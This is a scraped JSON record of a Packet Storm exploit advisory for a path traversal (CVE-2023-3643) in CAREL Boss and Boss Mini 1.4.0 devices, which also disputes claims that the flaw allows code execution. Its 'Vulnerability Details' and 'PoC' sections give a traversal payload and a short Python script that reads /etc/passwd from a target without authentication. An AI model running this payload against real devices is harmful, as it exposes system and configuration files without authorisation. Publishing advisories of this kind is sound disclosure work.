{“lastseen”:”2025-11-26T18:14:57″,”description”:”Proof of concept for an older vulnerability in 2023 where CAREL Boss and Boss Mini version 1.4.0 suffer from a path traversal vulnerability…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 CAREL Boss \/ Boss Mini 1.4.0 Path Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:212103″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2023-3643″],”sourceData”:”=============================================================================================================================================\\n | # Title : Boss Mini 1.4.0 path traversal |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.carel.com\/product\/boss |\\n =============================================================================================================================================\\n \\n [+] Summary : \\n \\n A vulnerability has been identified in CAREL Boss and Boss Mini\\n supervision devices running version 1.4.0.The weakness allows\\n remote unauthenticated users to disclose sensitive information\\n through a Local File Inclusion (LFI) vector due to improper input\\n validation.\\n \\n Importantly, this vulnerability does NOT provide any form of RCE.\\n \\n [+] References\\n \\n Based on the public advisory published on Packet Storm \\n \\n (https:\/\/packetstorm.news\/files\/id\/177394\/) \\n \\n and the official CVE entry for **CVE-2023-3643**\\n \\n combined with a fulltechnical analysis of the exploitation flow, it has been conclusively\\n confirmed that the widely circulated \\”Boss Mini 1.4.0 LFI \\n Log Poisoning\\” exploit is **fake, impossible, and non-functional**.\\n \\n The device does not run PHP, does not support log-based code execution,\\n and the vulnerable endpoint does not allow any code interpretation. \\n Therefore, any exploit claiming **LFI \u2192 Log Poisoning \u2192 RCE** is \\n **technically impossible and must be considered false**.\\n \\n ——————————————————————–\\n \\n 3. Affected Products\\n ———————\\n – CAREL Boss Mini 1.4.0\\n – CAREL Boss 1.4.0\\n – Possibly earlier versions with similar structures\\n \\n ——————————————————————–\\n \\n 4. Vulnerability Details\\n ————————-\\n The vulnerable parameter **path** fails to sanitize directory traversal\\n patterns, allowing attackers to read arbitrary files accessible by the\\n web process.\\n \\n Example vulnerable pattern: \/boss\/document?path=..\/..\/..\/..\/etc\/passwd\\n \\n This grants information disclosure but **cannot** escalate to RCE because\\n the appliance lacks PHP or any script execution engine.\\n \\n ——————————————————————–\\n \\n 5. Impact\\n ———-\\n This vulnerability allows:\\n – Reading system files\\n – Accessing sensitive configuration data\\n – Disclosure of internal JSON configuration structures\\n \\n This vulnerability **does NOT allow**:\\n – Command execution \\n – Reverse shell \\n – Payload injection \\n – Any form of RCE \\n \\n ——————————————————————–\\n \\n 6. (PoC)\\n ——————————-\\n “`python\\n #!\/usr\/bin\/env python3\\n # CVE-2023-3643 \\n # Research: Indoushka \\n \\n import requests\\n \\n target = \\”http:\/\/TARGET-IP\\”\\n payload = \\”..\/..\/..\/..\/etc\/passwd\\”\\n \\n url = f\\”{target}\/boss\/document?path={payload}\\”\\n \\n r = requests.get(url, timeout=10)\\n \\n if r.status_code == 200:\\n print(\\”[+] Vulnerable! File contents:\\”)\\n print(r.text)\\n else:\\n print(\\”[-] Not vulnerable or patched.\\”)\\n \\t\\n \\t\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212103″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:L\/A:L”,”baseScore”:7.3,”baseSeverity”:”HIGH”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”LOW”,”integrityImpact”:”LOW”,”availabilityImpact”:”LOW”}},”href”:”https:\/\/packetstorm.news\/files\/id\/212103\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-26T18:14:57″,”description”:”Proof of concept for an older vulnerability in 2023 where CAREL Boss and Boss Mini version 1.4.0 suffer from a path traversal vulnerability…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 CAREL Boss…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-27749","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n